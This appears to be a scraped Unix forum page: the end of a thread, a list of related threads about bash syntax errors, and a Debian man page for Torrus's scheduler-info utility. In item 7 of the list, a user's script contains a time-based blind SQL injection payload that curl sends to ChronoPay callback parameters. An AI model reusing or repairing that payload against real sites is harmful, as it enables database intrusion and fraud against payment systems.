09-19-2009
Thanks
Thanks a lot
still wondering how i missed the "then"
10 More Discussions You Might Find Interesting
1. UNIX for Dummies Questions & Answers
#!/bin/sh
echo "Choose option: e, d, l, t, p, or x."
read option
if test $option = e
then
echo "Filename?"
read file
if test ! -f $file
then
echo "No such file"
else
echo "Yes its a file"
fi
... (4 Replies)
Discussion started by: hazy
4 Replies
2. UNIX for Advanced & Expert Users
Hi,
When I run the below shell script I'm getting the error " syntax error near unexpected token `"
Script:
REM :: File Name : Refresh_OTL.bat
REM :: Parameters : %1 - Region
REM :: : %2 - Cube Type
REM :: :
REM :: Notes :
REM ============================== set ENVIRONMENT... (2 Replies)
Discussion started by: tomailraj
2 Replies
3. Shell Programming and Scripting
Hi all,
Here is a simple script that is working in one server and is giving a syntax error in other server. Can somebody help me ?
#!/bin/bash
# ftp files
done < $file
errors:
I tried..with no success:
if ; then (21 Replies)
Discussion started by: Lenora2009
21 Replies
4. Shell Programming and Scripting
Hi all,
This is a script which converts hex to bin. However am finding an error while executing
syntax error near unexpected token `='
`($hexfile, $binfile) = @ARGV;'
I am running using ./fil.pl <hexfile> <binfile>
###################################################
#
# this script... (3 Replies)
Discussion started by: jaango123
3 Replies
5. Shell Programming and Scripting
I'm going mad not being able to get this to work. im assuming its only a simple mistake but its driving me bonkers trying to find it.
Please if you can help me it would save me pulling my hair out!!
Thanks
#!/bin/bash -xv
#
#Config
name="TEST Server"
+ name='TEST Server'... (6 Replies)
Discussion started by: Fisheh
6 Replies
6. Shell Programming and Scripting
Solaris 10
This is my script:
#!/bin/bash
#Script to print number of users and print list of them
NO=`awk < /etc/passwd -F: '{ print $1 }' | wc -l`
echo There are $NO users on system.
echo "Do you want me to list them? (y or n):"
read YORN
if ]
awk < /etc/passwd -F: '{ print $1 }'... (5 Replies)
Discussion started by: kaustubh
5 Replies
7. Shell Programming and Scripting
What do I do here?
#!/bin/bash
payload=-1 AND 1=IF(21,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#
hash=`echo -n $payload md5sum tr -d 'n' sed 'ss-sg' md5sum tr -d 'n' sed 'ss-sg'`
curl --data cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill... (2 Replies)
Discussion started by: iiiiiiiiiii
2 Replies
8. Shell Programming and Scripting
Hi All;
I try to write a bash code and I am using command substitution. My code is like:
#!/bin/bash
IP="10.0.0.1 10.0.0.2"
PORT="22 80"
USERNAME="admin"
SCRIPT_HOST="adminHost"
HOME_DIR=/home/admin
SCRIPT_DIR=$HOME_DIR/scripts
script="sudo /my_remote_script.sh"
SSH="/usr/bin/ssh... (7 Replies)
Discussion started by: Meacham12
7 Replies
9. Shell Programming and Scripting
Hello every one!!
I don't know where I am going wrong but I am finding it difficult to clear this error of syntax error near unexpected token `else'
I am writing a simple shell script to find a file in a directory and if found execute that else return an error to the log file
... (14 Replies)
Discussion started by: masubram
14 Replies
10. Ubuntu
detect_mouse_mvt.sh
/home/andy/bin/detect_mouse_mvt.sh: line 4: syntax error near unexpected token `('
/home/andy/bin/detect_mouse_mvt.sh: line 4: `fh = file('/dev/input/mice')'
#!/bin/bash
#
#
fh = file('/dev/input/mice')
while True:
fh.read(3)
print 'Mouse... (15 Replies)
Discussion started by: drew77
15 Replies
LEARN ABOUT DEBIAN
torrus_schedulerinfo
TORRUS_SCHEDULERINFO(8) torrus TORRUS_SCHEDULERINFO(8)
NAME
schedulerinfo - Displays extended scheduler tasks information.
SYNOPSIS
torrus schedulerinfo --tree=TREENAME [options...]
DESCRIPTION
This utility displays the extended scheduler tasks information for tree TREENAME on standard output. This might be useful for scheduler
planning and analysis.
OPTIONS
--config
Reports scheduler's configuration. The values are explained below.
Total collector/monitor leaves: N
Total number of datasources being processed by collector or monitor daemon.
Scheduled leaves by type
Torrus supports arbitrary number of collector types, and this report shows how many datasources belong to every type. Currently
the monitor leaves are not divided into types.
Least common period: N seconds
The report below shows how the tasks are distributed across the time line, and the least common period shows the period of this
time line.
Tasks execution timeline
This report tells which task and how many datasources are involved in each task startup event, and how these events are
dispersed across the time. The column Interval shows the time interval from each task execution event to the next event on the
timeline.
--runtime
Reports scheduler's runtime statistics, such as running cycle times, late starts etc. The meaning of the output values is as follows.
Values that have zero values are usually not printed.
Task: Name, Period: N seconds, Offset: M seconds
Each scheduler task is characterized by its name (usually Collector or Monitor), period, and timeoffset. Fore example, if
period is set to 300 seconds, and offset is 14 seconds, then the task would be executed at 00:00:14, 00:05:14, 00:10:14, and so
on for every hour in a day.
N running cycles passed
How many times the task was executed since last reset. The counter is normally reset after torrus_compilexml(8) successfully
compiles the configuration.
N late starts
How many times the task has started with a delay from its normal schedule.
N too long runs
How many times the task execution time was longer than its period.
N overrun periods
How many periods have been missed because of too long executions.
N missed periods
How many periods were missed because of any reason (such as other tasks delaying).
Min, Max, Average, Exp Average
The time values are displayed in four columns: Mimimum, Maximum and Average values since last reset, and Exponential decay
value, which may be interpreted as the average for last several values. With defaults defined in torrus-config.pl, 95% of the
average is calculated from last 3 values.
Running Time
How long the task executes each period.
Late Start
How long the task start was delayed.
Too Long
How much time the too long run took.
RRD Queue
In a multithreaded environment, the RRD files are writen in a background thread. This value shows the length of the RRD update
queue at the beginning of each update cycle.
--help
Displays a help message.
SEE ALSO
torrus(8), torrus_compilexml(8)
NOTES
See more documentation at Torrus home page: http://torrus.org
AUTHOR
Stanislav Sinyagin <ssinyagin@yahoo.com>
torrus 2.03 2013-07-26 TORRUS_SCHEDULERINFO(8)